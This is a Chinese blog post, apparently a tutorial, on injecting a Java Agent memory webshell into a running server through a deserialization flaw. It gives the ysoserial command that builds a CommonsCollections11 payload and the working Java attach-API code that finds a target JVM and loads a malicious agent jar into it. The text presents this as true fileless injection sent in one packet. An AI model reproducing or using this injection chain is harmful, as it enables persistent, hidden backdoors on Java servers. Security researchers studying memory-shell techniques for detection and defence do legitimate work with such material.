Java Agent 型内存马调试系列 (二)——反序列化注入agent马

最新推荐文章于 2025-03-09 13:51:42 发布

原创最新推荐文章于 2025-03-09 13:51:42 发布 · 10w+ 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#java #网络安全 #安全

网络安全同时被 3 个专栏收录

44 篇文章

订阅专栏

Java

9 篇文章

订阅专栏

内存马

5 篇文章

订阅专栏

本文详细介绍了如何通过Java Agent进行反序列化注入内存马，包括尝试过程、YSO jar包的调试方法以及最终成功绕过报错的解决方案。通过调试，作者发现去除TestAgentMain2.java的类名和main函数可以避免错误，并成功生成并发送序列化字符串，实现了内存马的注入。虽然服务器出现轻微报错，但不影响内存马的正常运行。

0x00 前言

实战中通过反序列化环境一步到位注入内存马，相比于之前介绍的agent或filter内存马需要上传文件到服务器，反序列化的好处是真正的无文件，只需要发一个包。

0x01 注入--初试错

我操作的步骤如下：

https://github.com/KpLi0rn/ysoserial

生成序列化载荷：

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain2.java

我想可能是TestAgentMain2.java 的问题，因为只有这个文件是自变量，于是我把这个文件清空，只保留：

public class TestAgentMain2 {
public static void main(String[] args) {}

}

结果还是报错，所以需要对jar包调试。

0x02 yso jar包调试

IDEA 新建一个 Remote，

命令行运行：

java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain2.java

IDEA 点击debug，进行调试。就可以进入一个jar包了。

IDEA 调试jar文件 - xuanm - 博客园

先找到报错位置：

Gadgets.class clazz.makeClassInitializer().insertAfter(cmd); line94 报错

debug思路：把 TestAgentMain2.java 内容逐渐减少，慢慢debug，直到不报错

我突然想到之前注入agent马的时候：

是不写class类名的，于是我修改 TestAgentMain2.java 去掉了class类名和main函数：

try {
            java.lang.String path = "C:\\Users\\Administrator\\Desktop\\Java-Shellcode-Loader-master\\untitled5\\src\\AgentMain.jar";
            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + java.io.File.separator + "tools.jar");
            //System.out.println(toolsPath);//E:\jdk1.8\lib\tools.jar
            //System.out.println(toolsPath.toURI().toURL().getClass()); //java.net.URL
            java.net.URL url = toolsPath.toURI().toURL(); //file:/E:/jdk1.8/lib/tools.jar
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
            java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine, null);

            System.out.println("Running JVM list ...");
            for (int i = 0; i < list.size(); i++) {
                Object o = list.get(i);
                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
                java.lang.String name = (java.lang.String) displayName.invoke(o, null);
                System.out.println(name);
                //java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
                //java.lang.String id = (java.lang.String) getId.invoke(o, null);
                //System.out.println("id >>> " + id);

                if (name.contains("com.example.demo.DemoApplication")) {

                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
                    java.lang.String id = (java.lang.String) getId.invoke(o, null);
                    System.out.println("id >>> " + id);
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});
                    java.lang.Object vm = attach.invoke(o, new Object[]{id});
                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});
                    loadAgent.invoke(vm, new Object[]{path});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
                    detach.invoke(vm, null);
                    System.out.println("Agent.jar Inject Success !!");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

虽然挺奇怪的，但真的就可以了，越过了之前报错点：